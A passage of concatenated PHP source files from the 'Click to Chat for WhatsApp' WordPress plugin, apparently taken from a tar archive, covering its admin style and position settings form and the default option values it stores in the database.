				update_post_meta( $post_id, 'ht_ctc_pagelevel', $ht_ctc_pagelevel );
			} else {
				delete_post_meta($post_id, 'ht_ctc_pagelevel', '' );
			}
		}

	}





}

$ht_ctc_metabox = new HT_CTC_MetaBox();

add_action( 'add_meta_boxes', array($ht_ctc_metabox, 'meta_box') );
add_action( 'save_post', array($ht_ctc_metabox, 'save_meta_box') );

endif; // END class_exists checkclick-to-chat-for-whatsapp/new/admin/admin_commons/admin-device-settings.php000064400000042436147510273110023211 0ustar00<?php
/**
 * Admin settings
 *  select style
 *  postion to place
 *  
 *  same_settings - checkbox - if unchecked display setting for desktop, mobile
 * 
 * @package ctc
 * @subpackage Administration
 * @since 2.11 ( updated on 3.3.3 merged - admin-mobile, admin-dekstop.php )
 */

if ( ! defined( 'ABSPATH' ) ) exit;

// style
$style_desktop = ( isset( $options['style_desktop']) ) ? esc_attr( $options['style_desktop'] ) : '2';
$style_mobile = ( isset( $options['style_mobile']) ) ? esc_attr( $options['style_mobile'] ) : '2';


// desktop position
$side_1 = ( isset( $options['side_1']) ) ? esc_attr( $options['side_1'] ) : '';
$side_1_value = ( isset( $options['side_1_value']) ) ? esc_attr( $options['side_1_value'] ) : '';
$side_2 = ( isset( $options['side_2']) ) ? esc_attr( $options['side_2'] ) : '';
$side_2_value = ( isset( $options['side_2_value']) ) ? esc_attr( $options['side_2_value'] ) : '';

// mobile position
$mobile_side_1 = ( isset( $options['mobile_side_1']) ) ? esc_attr( $options['mobile_side_1'] ) : '';
$mobile_side_1_value = ( isset( $options['mobile_side_1_value'])) ? esc_attr( $options['mobile_side_1_value'] ) : '';
$mobile_side_2 = ( isset( $options['mobile_side_2']) ) ? esc_attr( $options['mobile_side_2'] ) : '';
$mobile_side_2_value = ( isset( $options['mobile_side_2_value'])) ? esc_attr( $options['mobile_side_2_value'] ) : '';

$position_type = ( isset( $options['position_type']) ) ? esc_attr( $options['position_type'] ) : 'fixed';
$position_type_mobile = ( isset( $options['position_type_mobile']) ) ? esc_attr( $options['position_type_mobile'] ) : 'fixed';

$position_type_values = [
    'fixed' => 'Fixed'
];

$position_type_values = apply_filters( 'ht_ctc_fh_position_type_values', $position_type_values );

?>

<ul class="collapsible ht_ctc_device_settings">
<li class="">
<div class="collapsible-header"><?php _e( 'Style, Position - Desktop, Mobile', 'click-to-chat-for-whatsapp' ); ?>
    <span class="right_icon dashicons dashicons-arrow-down-alt2"></span>
</div>
<div class="collapsible-body">

<blockquote class="not_samesettings" style="margin-bottom: 25px;">Desktop:</blockquote>

<!-- style -->
<p class="description ht_ctc_admin_desktop ht_ctc_subtitle"><?php _e( 'Select Style', 'click-to-chat-for-whatsapp' ); ?><span class="not_samesettings"><?php _e( ' (Desktop)', 'click-to-chat-for-whatsapp' ); ?></span>:</p>
<div class="row ht_ctc_admin_desktop" id="row_styles">
    <input name="<?= $dbrow; ?>[style_desktop]" value="<?= $style_desktop ?>" type="text" style="display:none;" class="chat_select_style select_style_desktop ctc_ad_main_page_on_change_style">

    <div class="row ht_ctc_admin_desktop ctc_select_style ctc_style_desktop">
        <div class="collection select_style_container" data-style="<?= $style_desktop ?>">
            <span class="collection-item select_style_item"  data-style="1"><span class="badge">Theme Button</span>Style-1</span>
            <span class="collection-item select_style_item"  data-style="2"><span class="badge">Green Square Icon</span>Style-2</span>
            <span class="collection-item select_style_item"  data-style="3"><span class="badge">Icon</span>Style-3</span>
            <span class="collection-item select_style_item"  data-style="3_1"><span class="badge">Large Icon</span>Style-3 Extend</span>
            <span class="collection-item select_style_item"  data-style="4"><span class="badge">Chip (cylindrical)</span>Style-4</span>
            <span class="collection-item select_style_item"  data-style="5"><span class="badge">Image on hover Content Box</span>Style-5</span>
            <span class="collection-item select_style_item"  data-style="6"><span class="badge">Plain text</span>Style-6</span>
            <span class="collection-item select_style_item"  data-style="7"><span class="badge">Icon with padding</span>Style-7</span>
            <span class="collection-item select_style_item"  data-style="7_1"><span class="badge">Icon on hover extend</span>Style-7 Extend</span>
            <span class="collection-item select_style_item"  data-style="8"><span class="badge">Button</span>Style-8</span>
            <span class="collection-item select_style_item"  data-style="99"><span class="badge">Own Image</span>Style-99</span>
        </div>
    </div>

    <p class="description"><a style="" target="_blank" href="https://holithemes.com/plugins/click-to-chat/list-of-styles/"><?php _e( 'List of Styles', 'click-to-chat-for-whatsapp' ); ?></a> | 
        <span title="colors, size, hover effects, .." class="customize_styles_link"><?php _e( 'Customize the styles', 'click-to-chat-for-whatsapp' ); ?>  <a target="_blank" class="customize_styles_href" href="<?= admin_url( 'admin.php?page=click-to-chat-customize-styles' ); ?>">( Click to Chat -> Customize )</a></span> | 
        <span title="add message window"><?php _e( 'Add Greetings Dialog', 'click-to-chat-for-whatsapp' ); ?>  <a target="_blank" class="greetings_page_link" href="<?= admin_url( 'admin.php?page=click-to-chat-greetings' ); ?>">( Click to Chat -> Greetings )</a></span>
    </p>

</div>


<!-- position type -->
<p class="description ht_ctc_admin_desktop ht_ctc_subtitle"><?php _e( 'Position Type', 'click-to-chat-for-whatsapp' ); ?><span class="not_samesettings"><?php _e( ' (Desktop)', 'click-to-chat-for-whatsapp' ); ?></span>:</p>
<div class="row ht_ctc_admin_desktop">
    <div class="input-field col s12 m12">
        <select name="<?php echo $dbrow ?>[position_type]" class="chat_select_position_type ctc_no_demo">
            <?php
            foreach ($position_type_values as $key => $value) {
                ?>
                <option value="<?= $key ?>" <?php echo $position_type == $key ? 'SELECTED' : ''; ?> ><?php _e( $value, 'click-to-chat-for-whatsapp' ); ?></option>
                <?php
            }
            ?>
        </select>
        <p class="description"><?php _e( 'Fixed: Position relative to the screen, stays at the same place even after page scroll', 'click-to-chat-for-whatsapp' ); ?></p>
        <p class="description"><?php _e( 'Absolute: Position relative to the content (body tag) and moves with page scroll', 'click-to-chat-for-whatsapp' ); ?> (PRO) - <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/position-to-place/#pro_block">more info</a></p>
    </div>
</div>

<?php
// Action hook - After select style - Desktop
// do_action('ht_ctc_ah_admin_desktop_after_select_sytle', $options, $dbrow );
?>

<!-- Desktop position -->
<!-- side - 1 -->
<p class="description ht_ctc_admin_desktop ht_ctc_subtitle"><?php _e( 'Position to Place', 'click-to-chat-for-whatsapp' ); ?><span class="not_samesettings"><?php _e( ' (Desktop)', 'click-to-chat-for-whatsapp' ); ?></span>:</p>
<div class="row ht_ctc_admin_desktop" style="display:flex; margin-top:16px;">
    <br>
    <div class="input-field col s6">
        <select name="<?= $dbrow; ?>[side_1]" class="position_bottom_top ctc_demo_position">
            <option value="bottom" <?= $side_1 == 'bottom' ? 'SELECTED' : ''; ?> ><?php _e( 'bottom', 'click-to-chat-for-whatsapp' ); ?></option>
            <option value="top" <?= $side_1 == 'top' ? 'SELECTED' : ''; ?> ><?php _e( 'top', 'click-to-chat-for-whatsapp' ); ?></option>
        </select>
        <label>top / bottom </label>
    </div>
    <div class="input-field col s6">
        <input name="<?= $dbrow; ?>[side_1_value]" value="<?= $side_1_value ?>" id="side_1_value" type="text" class="input-margin position_bottom_top_value ctc_demo_position">
        <label for="side_1_value"><?php _e( 'E.g. 10px', 'click-to-chat-for-whatsapp' ); ?></label>
    </div>
</div>

<!-- side - 2 -->
<div class="row ht_ctc_admin_desktop" style="display:flex; margin-bottom:0;">
    <div class="input-field col s6">
        <select name="<?= $dbrow; ?>[side_2]" class="position_right_left ctc_demo_position">
            <option value="right" <?= $side_2 == 'right' ? 'SELECTED' : ''; ?> ><?php _e( 'right', 'click-to-chat-for-whatsapp' ); ?></option>
            <option value="left" <?= $side_2 == 'left' ? 'SELECTED' : ''; ?> ><?php _e( 'left', 'click-to-chat-for-whatsapp' ); ?></option>
        </select>
        <label><?php _e( 'right / left', 'click-to-chat-for-whatsapp' ); ?></label>
    </div>

    <div class="input-field col s6">
        <input name="<?= $dbrow; ?>[side_2_value]" value="<?= $side_2_value ?>" id="side_2_value" type="text" class="input-margin position_right_left_value ctc_demo_position">
        <label for="side_2_value"><?php _e( 'E.g. 50%', 'click-to-chat-for-whatsapp' ); ?></label>
    </div>
</div>
<p class="description ht_ctc_admin_desktop"><?php _e( 'Add css units as suffix - e.g. 10px, 50%', 'click-to-chat-for-whatsapp' ); ?> - <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/position-to-place/">more info</a> </p>



<br><br>

<?php

// Same setting for Mobile Devices
if ( isset( $options['same_settings'] ) ) {
    ?>
    <p class="description" style="margin-bottom: 25px;">
        <label>
            <input name="<?= $dbrow; ?>[same_settings]" type="checkbox" value="1" <?php checked( $options['same_settings'], 1 ); ?> class="same_settings ctc_no_demo" id="same_settings" />
            <span><?php _e( 'Mobile and Desktop same setttings', 'click-to-chat-for-whatsapp' ); ?></span>
        </label>
    </p>
    <?php
} else {
    ?>
    <p class="description" style="margin-bottom: 25px;">
        <label>
            <input name="<?= $dbrow; ?>[same_settings]" type="checkbox" value="1" class="same_settings ctc_no_demo" id="same_settings" />
            <span><?php _e( 'Mobile and Desktop same setttings', 'click-to-chat-for-whatsapp' ); ?></span>
        </label>
    </p>
    <?php
}

?>

<blockquote class="not_samesettings " style="margin-bottom: 25px;"><?php _e( 'Mobile', 'click-to-chat-for-whatsapp' ); ?>:</blockquote>

<!-- mobile style -->
<p class="description ht_ctc_admin_mobile ht_ctc_subtitle not_samesettings"><?php _e( 'Select Style (Mobile)', 'click-to-chat-for-whatsapp' ); ?>:</p>
<div class="row ht_ctc_admin_mobile not_samesettings">
    <input name="<?= $dbrow; ?>[style_mobile]" value="<?= $style_mobile ?>" type="text" style="display:none;" class="chat_select_style select_style_mobile ctc_ad_main_page_on_change_style">

    <div class="row ht_ctc_admin_mobile ctc_select_style ctc_style_mobile">
        <div class="collection m_select_style_container" data-style="<?= $style_mobile ?>">
            <span class="collection-item m_select_style_item"  data-style="1"><span class="badge">Theme Button</span>Style-1</span>
            <span class="collection-item m_select_style_item"  data-style="2"><span class="badge">Green Square Icon</span>Style-2</span>
            <span class="collection-item m_select_style_item"  data-style="3"><span class="badge">Icon</span>Style-3</span>
            <span class="collection-item m_select_style_item"  data-style="3_1"><span class="badge">Large Icon</span>Style-3 Extend</span>
            <span class="collection-item m_select_style_item"  data-style="4"><span class="badge">Chip (cylindrical)</span>Style-4</span>
            <span class="collection-item m_select_style_item"  data-style="5"><span class="badge">Image on hover Content Box</span>Style-5</span>
            <span class="collection-item m_select_style_item"  data-style="6"><span class="badge">Plain text</span>Style-6</span>
            <span class="collection-item m_select_style_item"  data-style="7"><span class="badge">Icon with padding</span>Style-7</span>
            <span class="collection-item m_select_style_item"  data-style="7_1"><span class="badge">Icon on hover extend</span>Style-7 Extend</span>
            <span class="collection-item m_select_style_item"  data-style="8"><span class="badge">Button</span>Style-8</span>
            <span class="collection-item m_select_style_item"  data-style="99"><span class="badge">Own Image</span>Style-99</span>
        </div>
    </div>


</div>



<!-- position type - mobile -->
<p class="description ht_ctc_admin_mobile ht_ctc_subtitle not_samesettings"><?php _e( 'Position Type', 'click-to-chat-for-whatsapp' ); ?>:</p>
<div class="row ht_ctc_admin_mobile not_samesettings">
    <div class="input-field col s12 m12">
        <select name="<?php echo $dbrow ?>[position_type_mobile]" class="chat_select_position_type ctc_no_demo">
            <?php
            foreach ($position_type_values as $key => $value) {
                ?>
                <option value="<?= $key ?>" <?php echo $position_type_mobile == $key ? 'SELECTED' : ''; ?> ><?php _e( $value, 'click-to-chat-for-whatsapp' ); ?></option>
                <?php
            }
            ?>
        </select>
        <p class="description"><?php _e( 'Fixed: Position relative to the screen, stays at the same place even after page scroll', 'click-to-chat-for-whatsapp' ); ?></p>
        <p class="description"><?php _e( 'Absolute: Position relative to the content (body tag) and moves with page scroll', 'click-to-chat-for-whatsapp' ); ?> (PRO) - <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/position-to-place/#pro_block">more info</a></p>
    </div>
</div>

<?php
// Action hook - After select style - Mobile
// do_action('ht_ctc_ah_admin_mobile_after_select_sytle', $options, $dbrow );
?>

<!-- Mobile position -->
<!-- side - 1 -->
<p class="description ht_ctc_admin_mobile ht_ctc_subtitle not_samesettings"><?php _e( 'Position to Place (Mobile)', 'click-to-chat-for-whatsapp' ); ?>:</p>
<div class="row ht_ctc_admin_mobile not_samesettings" style="display:flex; margin-top:16px;">
    <br>
    <div class="input-field col s6">
        <select name="<?= $dbrow; ?>[mobile_side_1]" class="select-2 ctc_no_demo">
            <option value="bottom" <?= $mobile_side_1 == 'bottom' ? 'SELECTED' : ''; ?> ><?php _e( 'bottom', 'click-to-chat-for-whatsapp' ); ?></option>
            <option value="top" <?= $mobile_side_1 == 'top' ? 'SELECTED' : ''; ?> ><?php _e( 'top', 'click-to-chat-for-whatsapp' ); ?></option>
        </select>
        <label>top / bottom </label>
    </div>
    <div class="input-field col s6">
        <input name="<?= $dbrow; ?>[mobile_side_1_value]" value="<?= $mobile_side_1_value ?>" id="mobile_side_1_value" type="text" class="input-margin ctc_no_demo">
        <label for="mobile_side_1_value"><?php _e( 'E.g. 10px', 'click-to-chat-for-whatsapp' ); ?></label>
    </div>
</div>

<!-- side - 2 -->
<div class="row ht_ctc_admin_mobile not_samesettings" style="display:flex; margin-bottom:0;">
    <div class="input-field col s6">
        <select name="<?= $dbrow; ?>[mobile_side_2]" class="select-2 ctc_no_demo">
            <option value="right" <?= $mobile_side_2 == 'right' ? 'SELECTED' : ''; ?> ><?php _e( 'right', 'click-to-chat-for-whatsapp' ); ?></option>
            <option value="left" <?= $mobile_side_2 == 'left' ? 'SELECTED' : ''; ?> ><?php _e( 'left', 'click-to-chat-for-whatsapp' ); ?></option>
        </select>
        <label><?php _e( 'right / left', 'click-to-chat-for-whatsapp' ); ?></label>
    </div>

    <div class="input-field col s6">
        <input name="<?= $dbrow; ?>[mobile_side_2_value]" value="<?= $mobile_side_2_value ?>" id="mobile_side_2_value" type="text" class="input-margin ctc_no_demo">
        <label for="mobile_side_2_value"><?php _e( 'E.g. 50%', 'click-to-chat-for-whatsapp' ); ?></label>
    </div>
</div>
<p class="description ht_ctc_admin_mobile not_samesettings"><?php _e( 'Add css units as suffix - e.g. 10px, 50%', 'click-to-chat-for-whatsapp' ); ?> - <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/position-to-place/"><?php _e( 'more info', 'click-to-chat-for-whatsapp' ); ?></a> </p>



<br class="not_samesettings">
<hr class="not_samesettings" style="max-width: 500px;">
<br class="not_samesettings">
<p class="description"><span class="not_samesettings select_styles_issue_description" style="font-size: 0.7em;">If Styles for desktop, mobile not selected as expected <span style="color: #039be5; cursor: pointer;">Check this</span>, - <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/select-styles/#styles-not-applied">more info</a></span></p>

<div class="select_styles_issue_checkbox ctc_init_display_none" style="">
    <?php
    // If checked loads both styles and display the needed style
    // cache issue while selecting styles
    if ( isset( $options['select_styles_issue'] ) ) {
        ?>
        <p id="styles_issue">
            <label>
                <input name="<?= $dbrow; ?>[select_styles_issue]" type="checkbox" value="1" <?php checked( $options['select_styles_issue'], 1 ); ?> id="select_styles_issue" />
                <!-- <span>Style for device is not as expected(due to cache)</span> -->
                <span><?php _e( 'Check this only, If styles for mobile, desktop not selected as expected(due to cache)', 'click-to-chat-for-whatsapp' ); ?></span>
            </label>
        </p>
        <?php
    } else {
        ?>
        <p id="styles_issue">
            <label>
                <input name="<?= $dbrow; ?>[select_styles_issue]" type="checkbox" value="1" id="select_styles_issue" />
                <span><?php _e( 'Check this, If styles for mobile, desktop not selected as expected(due to cache)', 'click-to-chat-for-whatsapp' ); ?></span>
            </label>
        </p>
        <?php
    }
    ?>
</div>

</div>
</div>
</li>
</ul>click-to-chat-for-whatsapp/new/admin/db/class-ht-ctc-db2.php000064400000042436147510273110017522 0ustar00<?php
/**
 * Default Values
 * 
 *  set the default values
 *  which stores in database options table
 *
 * @package ctc
 * @since 2.0
 * @from class-ht-ctc-register.php -> version_changed() - when version changes
 * @from class-ht-ctc-admin-hooks.php -> load_ctc_admin_page() - calls for ctc admin pages
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_DB2' ) ) :

class HT_CTC_DB2 {


    public $os = '';

    public function __construct() {
        $this->db();
    }
    
    
    /**
     * based on condition.. update the db .. 
     *
     */
    public function db() {

        $this->os = array();
        $ht_ctc_plugin_details = get_option('ht_ctc_plugin_details');

        if ( is_array($ht_ctc_plugin_details) ) {
            $this->os = $ht_ctc_plugin_details;
        }


        $this->ht_ctc_group();
        $this->ht_ctc_share();

        // woocommerce
        $this->ht_ctc_woo_options();

        $this->ht_ctc_s1();
        
        // s2 at ht-ctc-db.php
        // $this->ht_ctc_s2();

        $this->ht_ctc_s3();
        $this->ht_ctc_s3_1();
        $this->ht_ctc_s4();
        $this->ht_ctc_s5();
        $this->ht_ctc_s6();
        $this->ht_ctc_s7();
        $this->ht_ctc_s7_1();
        $this->ht_ctc_s8();
        $this->ht_ctc_s99();

        $this->ht_ctc_one_time();

    }

    

    /**
     * table name: "ht_ctc_group"
     * 
     * Group chat
     */
    public function ht_ctc_group() {

        $values = array(

            'group_id' => '',
            'call_to_action' => 'WhatsApp Group',
            
            'style_desktop' => '4',
            'style_mobile' => '2',

            'side_1' => 'bottom',
            'side_1_value' => '10px',
            'side_2' => 'left',
            'side_2_value' => '10px',

            'show_or_hide' => 'hide',
            'list_hideon_pages' => '',
            'list_hideon_cat' => '',
            'list_showon_pages' => '',
            'list_showon_cat' => '',

        );

        $options = get_option('ht_ctc_group');
        // mobile position if not set
        if ( !isset($options['mobile_side_1_value']) && !isset($options['mobile_side_2_value'])  ) {
            $mobile_values = array(
                'mobile_side_1' => ( isset( $options['side_1']) ) ? esc_attr( $options['side_1'] ) : 'bottom',
                'mobile_side_1_value' => ( isset( $options['side_1_value'])) ? esc_attr( $options['side_1_value'] ) : '10px',
                'mobile_side_2' => ( isset( $options['side_2']) ) ? esc_attr( $options['side_2'] ) : 'left',
                'mobile_side_2_value' => ( isset( $options['side_2_value'])) ? esc_attr( $options['side_2_value'] ) : '10px',
            );
            $values = array_merge($values, $mobile_values);
        }

        // new install
        if ( !isset ( $this->os['version'] ) ) {
            $values['same_settings'] = '1';
            $values['display_desktop'] = 'show';
            $values['display_mobile'] = 'show';
            $values['display']['global_display'] = 'show';
        }


        $db_values = get_option( 'ht_ctc_group', array() );
        $update_values = array_merge($values, $db_values);
        update_option('ht_ctc_group', $update_values);
    }


    
    /**
     * table name: "ht_ctc_share"
     * 
     * share chat
     * 
     * checkboxes
     *  show/hide ..
     */
    public function ht_ctc_share() {

        $values = array(

            'share_text' => 'Checkout this Awesome page {{url}}',
            'call_to_action' => 'WhatsApp Share',
            
            'style_desktop' => '1',
            'style_mobile' => '2',

            'side_1' => 'top',
            'side_1_value' => '10px',
            'side_2' => 'right',
            'side_2_value' => '10px',

            'show_or_hide' => 'hide',
            'list_hideon_pages' => '',
            'list_hideon_cat' => '',
            'list_showon_pages' => '',
            'list_showon_cat' => '',
        );

        $options = get_option('ht_ctc_share');
        // mobile position if not set
        if ( !isset($options['mobile_side_1_value']) && !isset($options['mobile_side_2_value'])  ) {
            $mobile_values = array(
                'mobile_side_1' => ( isset( $options['side_1']) ) ? esc_attr( $options['side_1'] ) : 'top',
                'mobile_side_1_value' => ( isset( $options['side_1_value'])) ? esc_attr( $options['side_1_value'] ) : '10px',
                'mobile_side_2' => ( isset( $options['side_2']) ) ? esc_attr( $options['side_2'] ) : 'right',
                'mobile_side_2_value' => ( isset( $options['side_2_value'])) ? esc_attr( $options['side_2_value'] ) : '10px',
            );
            $values = array_merge($values, $mobile_values);
        }

        // new install
        if ( !isset ( $this->os['version'] ) ) {
            $values['same_settings'] = '1';
            $values['display_desktop'] = 'show';
            $values['display_mobile'] = 'show';
            $values['display']['global_display'] = 'show';
        }

        $db_values = get_option( 'ht_ctc_share', array() );
        $update_values = array_merge($values, $db_values);
        update_option('ht_ctc_share', $update_values);
    }


    /**
     * table name: "ht_ctc_woo_options"
     * 
     * woocommerce 
     *  @var woo_is_single - checkbox - if checked display flaoting style on woo single product pages
     */
    public function ht_ctc_woo_options() {

        $values = array(

            'woo_pre_filled' => '',
            'woo_call_to_action' => '',
        );

        $db_values = get_option( 'ht_ctc_woo_options', array() );
        $update_values = array_merge($values, $db_values);
        update_option('ht_ctc_woo_options', $update_values);
    }

    

    // styles



    /**
     * name: ht_ctc_s1
     * 
     * Style-1  
     * style-1 is default button
     * 
     * checkbox
     *  s1_m_fullwidth
     */
    public function ht_ctc_s1() {
        
        $style_1 = array(

            's1_text_color' => '',
            's1_bg_color' => '',
            's1_icon_color' => '#25d366',
            's1_icon_size' => '16px',
            
        );

        // new install
        if ( !isset ( $this->os['version'] ) ) {
            $style_1['s1_add_icon'] = '1';
        }

        $db_values = get_option( 'ht_ctc_s1', array() );
        $db_values = (is_array( $db_values)) ? $db_values : [];

        $update_values = array_merge($style_1, $db_values);
        update_option('ht_ctc_s1', $update_values);

    }






    /**
     * name: ht_ctc_s2
     * 
     * Style-2
     * green square icon
     * 
     * cta_type - hover only, show, hide - if new install dispaly on hover.
     */
    // public function ht_ctc_s2() {
        
    //     $style_2 = array(
            
    //         's2_img_size' => '50px',
    //         'cta_textcolor' => '#ffffff',
    //         'cta_bgcolor' => '#25D366',
            
    //     );

    //     // new install
    //     if ( !isset ( $this->os['version'] ) ) {
    //         $style_2['cta_type'] = 'hover';
    //         $style_2['cta_font_size'] = '15px';
    //     } else {
    //         $style_2['cta_type'] = 'hide';
    //     }

    //     $db_values = get_option( 'ht_ctc_s2', array() );
    //     $update_values = array_merge($style_2, $db_values);
    //     update_option('ht_ctc_s2', $update_values);

    // }


    /**
     * name: ht_ctc_s3
     * 
     * s3_type - simple / extend
     *  simple - only image size setting.
     * 
     * Style-3
     * icon
     */
    public function ht_ctc_s3() {
        
        $style_3 = array(

            's3_img_size' => '50px',
            'cta_textcolor' => '#ffffff',
            'cta_bgcolor' => '#25d366',
            
        );

        // @since 3.0 cta
        if ( !isset ( $this->os['version'] ) ) {
            $style_3['cta_type'] = 'hover';
            $style_3['cta_font_size'] = '13px';
        } else {
            $style_3['cta_type'] = 'hide';
        }


        // type: extend is moving to Style-3_1 Extend
        $s3 = get_option('ht_ctc_s3');
        $s3_1 = get_option('ht_ctc_s3_1');
        // if 3_1 not yet created - run only once.
        if ( !isset($s3_1['s3_1_img_size']) ) {
            // if type: extend 
            if ( isset($s3['s3_type']) && 'extend' == $s3['s3_type'] ) {
                // then add table s3_1 with s3 values
                update_option('ht_ctc_s3_1', $s3);
            }
        }

        $db_values = get_option( 'ht_ctc_s3', array() );
        $db_values = (is_array( $db_values)) ? $db_values : [];

        $update_values = array_merge($style_3, $db_values);
        update_option('ht_ctc_s3', $update_values);

    }



    /**
     * name: ht_ctc_s3_1
     * 
     * Style-3 Extend
     * 
     * icon
     * @since 3.0 (in v2.11 s3 type extend created and since 3.0 created as a new style 3_1 i.e. s3 Extend)
     */
    public function ht_ctc_s3_1() {
        
        $style_3_1 = array(

            's3_img_size' => '40px',
            's3_bg_color' => '#25D366',
            's3_bg_color_hover' => '#25D366',
            's3_padding' => '14px',
            's3_box_shadow' => '1',
            's3_box_shadow_hover' => '1',
            'cta_type' => 'hide',
            'cta_textcolor' => '#ffffff',
            'cta_bgcolor' => '#25d366',
            
        );

        // new install
        if ( !isset ( $this->os['version'] ) ) {
            $style_3_1['cta_type'] = 'hover';
            $style_3_1['cta_font_size'] = '15px';
        }

        $db_values = get_option( 'ht_ctc_s3_1', array() );
        $db_values = (is_array( $db_values)) ? $db_values : [];

        $update_values = array_merge($style_3_1, $db_values);
        update_option('ht_ctc_s3_1', $update_values);

    }



    /**
     * name: ht_ctc_s4
     * 
     * Style-4
     * chip
     */
    public function ht_ctc_s4() {

        $style_4 = array(

            's4_text_color' => '#7f7d7d',
            's4_bg_color' => '#e4e4e4',
            's4_img_url' => '',
            's4_img_position' => 'left',
            's4_img_size' => '32px',
        );

        $db_values = get_option( 'ht_ctc_s4', array() );
        $db_values = (is_array( $db_values)) ? $db_values : [];
        
        // this is better solution. possible add in later versions
        // $update_values = (is_array( $db_values)) ? array_merge($style_4, $db_values) : $style_4;

        $update_values = array_merge($style_4, $db_values);



        update_option('ht_ctc_s4', $update_values);

    }



    /**
     * name: ht_ctc_s5
     * 
     * Style-5
     * chip
     */
    public function ht_ctc_s5() {
        
        $style_5 = array(

            's5_line_1' => '',
            's5_line_2' => 'We will respond as soon as possible',
            's5_line_1_color' => '#000000',
            's5_line_2_color' => '#000000',
            's5_background_color' => '#ffffff',
            's5_border_color' => '#dddddd',
            's5_img' => '',
            's5_img_height' => '70px',
            's5_img_width' => '70px',
            's5_content_height' => '70px',
            's5_content_width' => '270px',
            's5_img_position' => 'right',  // left means nothing - right means - order: 1
            
        );

        $db_values = get_option( 'ht_ctc_s5', array() );
        $db_values = (is_array( $db_values)) ? $db_values : [];

        $update_values = array_merge($style_5, $db_values);
        update_option('ht_ctc_s5', $update_values);

    }


    /**
     * name: ht_ctc_s6
     * 
     * Style-6
     * 
     * #006ccc
     * #0073aa
     * #005177
     */
    public function ht_ctc_s6() {
        
        $style_6 = array(

            's6_txt_color' => '',
            's6_txt_color_on_hover' => '',
            's6_txt_decoration' => '',
            's6_txt_decoration_on_hover' => '',
            
        );

        $db_values = get_option( 'ht_ctc_s6', array() );
        $db_values = (is_array( $db_values)) ? $db_values : [];

        $update_values = array_merge($style_6, $db_values);
        update_option('ht_ctc_s6', $update_values);

    }


    /**
     * name: ht_ctc_s7
     * 
     * Style-7
     * 
     * border is padding
     * hover idea - icon #6b6b6b, #262626, #455a64,   #f9f9f9, #00d34d
     * hover idea - icon, border  #f9f9f9/#f4f4f4, #00d34d
     */
    public function ht_ctc_s7() {
        
        $style_7 = array(

            's7_icon_size' => '20px',
            's7_icon_color' => '#ffffff',
            's7_icon_color_hover' => '#f4f4f4',
            's7_border_size' => '12px',
            's7_border_color' => '#25D366',
            's7_border_color_hover' => '#25d366',
            's7_border_radius' => '50%',
            'cta_type' => 'hide',
            'cta_textcolor' => '#ffffff',
            'cta_bgcolor' => '#25d366',
        );

        // if new install
        if ( !isset ( $this->os['version'] ) ) {
            $style_7['cta_type'] = 'hover';
        }

        $db_values = get_option( 'ht_ctc_s7', array() );
        $db_values = (is_array( $db_values)) ? $db_values : [];

        $update_values = array_merge($style_7, $db_values);
        update_option('ht_ctc_s7', $update_values);

    }


    /**
     * name: ht_ctc_s7_1
     * 
     * Style-7_1
     * 
     * border is padding
     * hover idea - icon #6b6b6b, #262626, #455a64,   #f9f9f9, #00d34d
     * hover idea - icon, border  #f9f9f9/#f4f4f4, #00d34d
     * 
     * cta_type - show / hover (hover is expand)
     */
    public function ht_ctc_s7_1() {
        
        $style_7_1 = array(

            's7_icon_size' => '20px',
            's7_icon_color' => '#ffffff',
            's7_icon_color_hover' => '#f4f4f4',
            's7_border_size' => '12px',
            's7_bgcolor' => '#25D366',
            's7_bgcolor_hover' => '#00d34d',
            'cta_type' => 'hover',
        );

        $db_values = get_option( 'ht_ctc_s7_1', array() );
        $db_values = (is_array( $db_values)) ? $db_values : [];

        $update_values = array_merge($style_7_1, $db_values);
        update_option('ht_ctc_s7_1', $update_values);

    }



    /**
     * name: ht_ctc_s8
     * 
     * Style-8
     * 
     * s8_btn_size: btn / btn-large
     * 
     * checkbox
     *  s8_m_fullwidth
     */
    public function ht_ctc_s8() {
        
        $style_8 = array(

            's8_txt_color' => '#ffffff',
            's8_txt_color_on_hover' => '#ffffff',
            's8_bg_color' => '#26a69a',
            's8_bg_color_on_hover' => '#26a69a',
            's8_icon_color' => '#ffffff',
            's8_icon_color_on_hover' => '#ffffff',
            's8_icon_position' => 'left',
            's8_text_size' => '',
            's8_icon_size' => '',
            's8_btn_size' => 'btn',
            
        );

        // if new install
        if ( !isset ( $this->os['version'] ) ) {
            $style_8['s8_text_size'] = '16px';
            $style_8['s8_icon_size'] = '16px';
        }

        $db_values = get_option( 'ht_ctc_s8', array() );
        $db_values = (is_array( $db_values)) ? $db_values : [];

        $update_values = array_merge($style_8, $db_values);
        update_option('ht_ctc_s8', $update_values);

    }


    /**
     * name: ht_ctc_s99
     * 
     * Style-99
     */
    public function ht_ctc_s99() {
        
        $style_99 = array(

            's99_dekstop_img_url' => '',
            's99_mobile_img_url' => '',
            's99_desktop_img_height' => '50px',
            's99_desktop_img_width' => '',
            's99_mobile_img_height' => '50px',
            's99_mobile_img_width' => '',
            
        );

        $db_values = get_option( 'ht_ctc_s99', array() );
        $db_values = (is_array( $db_values)) ? $db_values : [];

        $update_values = array_merge($style_99, $db_values);
        update_option('ht_ctc_s99', $update_values);

    }


    /**
     * name: ht_ctc_one_time 
     * 
     * ***** caution ***** 
     * when using this values always check if exists.. 
     *  as some new values may add in other versions.. 
     *  and thoose values may not exists if this option is added before 
     *  ( it add_option not update_option )
     * 
     * dont update values. .. one time values .. 
     * 
     * first_version - first version installed
     * 
     * Add plugin Details to db 
     * Add plugin version to db - useful while updating plugin
     * 
     * @since 3.7
     * first_install_time - as add_option, first_install_time avaible only since 3.7
     *  if no first_install_time - then installed before v3.7 (as this options will save using add_option)
     */
    public function ht_ctc_one_time() {

        $time = time();

        // plugin details 
        $values = array(
            'first_version' => HT_CTC_VERSION,
            'first_install_time' => $time
        );

        // dont update values. .. one time values .. 
        add_option( 'ht_ctc_one_time', $values );
    }



}

new HT_CTC_DB2();

endif; // END class_exists checkclick-to-chat-for-whatsapp/new/admin/db/defaults/class-ht-ctc-defaults.php000064400000000510147510273110022454 0ustar00<?php
/**
 * default values.. 
 * @since 3.9
 * 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_Defaults' ) ) :

